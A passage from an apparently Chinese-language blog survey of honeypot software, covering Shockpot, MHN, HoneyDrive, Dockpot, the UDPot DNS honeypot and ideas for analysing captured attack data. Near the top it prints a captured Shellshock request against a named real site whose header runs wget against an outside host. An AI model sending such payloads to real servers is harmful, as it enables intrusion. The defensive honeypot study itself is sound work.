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" alt="" />

GET /cgi-bin/helpcenter/help_center.cgi?id= HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

Relevant Link:

http://blog.csdn.net/jiayanhui2877/article/details/39584003
http://blog.csdn.net/huithe/article/details/8087645
https://pypi.python.org/pypi/bottle/0.12.9
https://github.com/bottlepy/bottle
https://github.com/threatstream/shockpot

11. MHN(Modern Honey Network)

From the secure deployment to the aggregation of thousands of events MHN provides enteprise grade management of the most current open source honeypot software. MHN is completely free open source software which supports external and internal honeypot deployments at a large and distributed scale

Relevant Link:

http://drops.wooyun.org/papers/5968
http://threatstream.github.io/mhn/

12. Database Honeypots

Relevant Link:

. Elastic honey - A Simple Elasticsearch Honeypot
https://github.com/jordan-wright/elastichoney . mysql - A mysql honeypot
https://github.com/schmalle/MysqlPot . NoSQLpot - The NoSQL Honeypot Framework.
https://github.com/torque59/nosqlpot . ESPot - ElasticSearch Honeypot
https://github.com/mycert/ESPot

13. awesome-honeypots

https://github.com/paralax/awesome-honeypots

14. Honey Drive

HoneyDrive是一款Linux蜜罐系统,它是以虚拟设备(OVA)的方式安装在Xubuntu 12.04.4版本上面。HoneyDrive系统里面包含了10款预装和预配置的蜜罐软件,如

. Kippo SSH honeypot
. Dionaea
. Amun malware honeypots
. Honeyd low-interaction honeypot
. Glastopf web honeypot
. Wordpot
. Conpot SCADA/ICS honeypot
. Thug
. PhoneyC honeyclients等

系统还提供了一些脚本和工具来分析数据,并且数据通过可视化的方式呈现。如Kippo-Graph, Honeyd-Viz, DionaeaF和ELK stack等

0x1: 特点

. 基于Xubuntu 12.04. LTS虚拟设备
. 预安装LAMP(Apache , MySQL ),还有其他的一些管理工具,如phpMyAdmin
. Kippo SSH蜜罐,加上Kippo-Graph, Kippo-Malware, Kippo2MySQL和其他一些脚本
. Dionaea蜜罐,配套DionaeaFR和脚本
. Amun蜜罐和脚本
. Glastopf Web蜜罐和Wordpot WordPress蜜罐
. Conpot SCADA/ICS蜜罐
. Honeyd低交互蜜罐等等
//取证与分析工具、网络监控、PDF分析等,如
. ntop
. p0f
. EtherApe
. nmap
. DFF
. Wireshark
. Recon-ng
. ClamAV
. ettercap
. MASTIFF
. Automater
. UPX
. pdftk
. Flasm
. Yara
. Viper
. pdf-parser
. Pyew
. Radare2
. dex2jar等

Relevant Link:

http://bruteforce.gr/honeydrive
http://www.freebuf.com/tools/40865.html

15. Dockpot

Dockpot is a high interaction SSH honeypot based on Docker. It's basically a NAT device that has the ability to act as an SSH proxy between the attacker and the honeypot (Docker container in that case) and logs the attacker's activities. It will create a new docker container for the first connection it gets, NAT the SSH connections to it, destroy the container when the number of the connections to it is zero.

0x1: Install

apt-get install docker
curl -sSL https://get.docker.com/ > installdocker.sh
sh ./installdocker.sh git clone https://github.com/aabed/dockpot.git
cd dockpot
./honsshctrl.sh START

Relevant Link:

https://github.com/aabed/dockpot  

16. SSDP Honeypot

16. 我们该怎么利用蜜罐系统进行入侵分析

我觉得我们对于蜜罐的研究有几个点是可以重要去进行深入的

) 蜜罐怎么提供更好的交互性、是否考虑在真实的原始系统基础上进行旁路,提取我们需要的数据,即依托于真实系统的高交互蜜罐

) 完全利用虚拟机进行模拟服务,完全架设出一个虚拟的环境,这种情况下安全性是最可控的,但同时对shellcode虚拟执行、命令虚拟执行、系统调用虚拟执行、甚至CPU指令虚拟执行等虚拟化
技术需要较高的支持,这方面已经有很多开源项目在进行了,有很多x86下的虚拟沙箱提供了很好的模拟特性 ) 怎么将安全人员的对抗经验固化到数据建模上,我们在捕获到尽可能多的入侵轨迹数据的同时,还要思考的一个重要问题是怎么对这些数据进行多维度的建模、分析。数据本身是没有意义的,
只有我们安全人员将它们赋予了一定的意义,通过多维度的重组后,数据才会以一种模式、趋势的形式展现出背后的含义,这是入侵分析、对抗中最重要的 ) 将分布式蜜罐技术和云计算、大数据结合起来。在云模式下,部署分布式蜜罐的基本条件已经天然完成了,安全人员不需要专门去架设专用蜜罐系统,云平台本身就可以充当一个入侵、攻击轨迹
数据的来源,即大数据分析。我们要做的就是怎么更有效地分析这些数据。要做到这点,还是需要理论和实践的结合,以安全人员的经验为基础,同时依托相应的理论建立相应的分析模型

以下内容来自 http://www.keyfocus.net/,它们的分析维度我觉得很有启发性

http://tech.sina.com.cn/s/2008-09-01/2301789129.shtml

EVENT方面
. start time: 行为开始时间
. end time: 行为停止时间
. event ID: 事件ID
. TYPE: 连接方式
. DISCSRIPTION: 事件详细描述
. SERVERITY: 事件激烈程度 VISITOR方面
. IP: 入侵者IP
. PORT: 入侵者使用的端口
. DOMAIN: 入侵者机器名 SENSOR方面
. IP: 探测器使用者IP
. PORT: 探测器被入侵端口
. BOUND: 探测器所绑定的IP
. PROTOCOL: 协议类型
. ACTION: 探测器对此事件所做出的行为
. SIM SERVER: 简明(预设置)的SERVER BANNER DETAILS方面
. CLOSED BY: 最后是由哪一方关闭此次连接的
. Limit Exceeded: 超出流量描述
. RECEIVED: 从入侵者发出,由探测器接收到的数据
. RESPONSE: 从探测器发出,由入侵者接收到的数据
. "EXPAND"按钮: 展开(展开后可以选择多种显示格式,在'FORMAT'栏上可以选择)
. "NEXT"按钮: 下一个ID的事件详细情况
. "PREVIOUS"按钮: 前一个ID的事件详细情况

诸葛建伟的研究论文中也提到了很多很有启发意义的分析维度

威胁数据分析方法

. 最基础的威胁数据分析机制为实证分析, 即通过对实验采集数据进行统计汇总,揭示出安全威胁的基本统计特性以更好地理解互联网上的"攻击策略"与"工具"

. 可视化分析技术可以进一步对蜜罐捕获的安全威胁数据进行2D 图形化与3D 动画效果展示,以非常直观的方式将威胁数据展示给安全研究人员,使其快速理解捕获安全威胁的整体态势,并发现其
中可能包含的异常事件
(这点我觉得就是DionaeaFR的目标) . 更进一步的威胁数据分析方法能够解释出捕获数据背后的根源。采用PCA(principal component analysis)方法从Leurré.com 分布式蜜罐系统数据提取出潜在的"攻击行为聚类", 并进
行"归因分析" . 基于"攻击时序相似性"的聚类方法, 从蜜网数据中发现普遍的攻击模式 . 应用了"关联分析方法", 在安全知识库的支持下,该方法能够从蜜网捕获安全威胁数据中识别出"攻击规划", 并重构出攻击过程场景,从而有助于安全研究人员更好地发现和理解捕获数据中蕴
含的"攻击场景"
(这里的安全知识库,我觉得就是一种将安全工程师的入侵分析经验的固化,将经验模式化为一些类正则代码,从而更好地进行模式匹配)

17. Detecting Honeypots(反检测-蜜罐检测技术)

Although honeypots are a great resource for investigating adversaries or automatic exploitation via worms, the amount of information we can learn depends on how realistic the honeypots are. If an adversary breaks into a machine and immediately notices that she broke into a honeypot, her reaction might be to remove all evidence and leave the machine alone. On the other hand, if the fact that she broke into a honeypot remains undetected, she could use it to store attack tools and launch further attacks on other systems. This makes it very important to provide realistic-looking honeypots. For low-interaction honeypots, it is important to deceive network scanning tools and for high-interaction honeypots, the whole operating system environment has to look very real. This is not a problem for a physical high-interaction honeypots, but for a system running under a virtual machine, it becomes more difficult to hide its nature.

0x1: Detecting Low-Interaction Honeypots

0x2: Detecting High-Interaction Honeypots

0x3: Detecting Rootkits

Relevant Link:

http://books.gigatux.nl/mirror/honeypot/final/ch09lev1sec1.html
https://github.com/a0rtega/pafish

18. DNS Honeypot

0x1: UDPot

git clone https://github.com/jekil/UDPot.git
cd UDPot
pip install -r requirements.txt
pip install twisted
python dns.py -h
usage: dns.py [-h] [-p DNS_PORT] [-c REQ_COUNT] [-t REQ_TIMEOUT] [-s] [-v] server positional arguments:
server: DNS server IP address optional arguments:
-h, --help: show this help message and exit
-p DNS_PORT, --dns-port DNS_PORT: DNS honeypot port
-c REQ_COUNT, --req-count REQ_COUNT: how many request to resolve
-t REQ_TIMEOUT, --req-timeout REQ_TIMEOUT: how many request to resolve
-s, --sql: database connection string
-v, --verbose: print each request

You can run the DNS honeypot with the following command, you have to add the IP of the DNS server you use to resolve the first bunch of queries to seems like an open resolver (in this example we use 8.8.8.8):

python dns.py 8.8.8.8 -v -p 

Now your DNS honeypot is listening on both port 5053 UDP and TCP. If you want to bind it to port 53 you have to:

. run it as root and use option -p which is really not recommended
. add an iptables rule to redirect traffic from port to port

Example iptables rules to redirect traffic:

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport  -j REDIRECT --to-ports
iptables -t nat -A PREROUTING -i eth0 -p udp --dport -j REDIRECT --to-ports

Some other arguments are optional:

-p is used to bind DNS honeypot service on a given port
-c how many requests should be resolved (sending a DNS reply) like a real open resolver
-t timeout to re-start resolving requests (sending a DNS reply) like a real open resolver
-s choose a SQL database (default SQLite)
-v verbose logging (prints each request)

Relevant Link:

https://github.com/jekil/UDPot

Copyright (c) 2016 LittleHann All rights reserved

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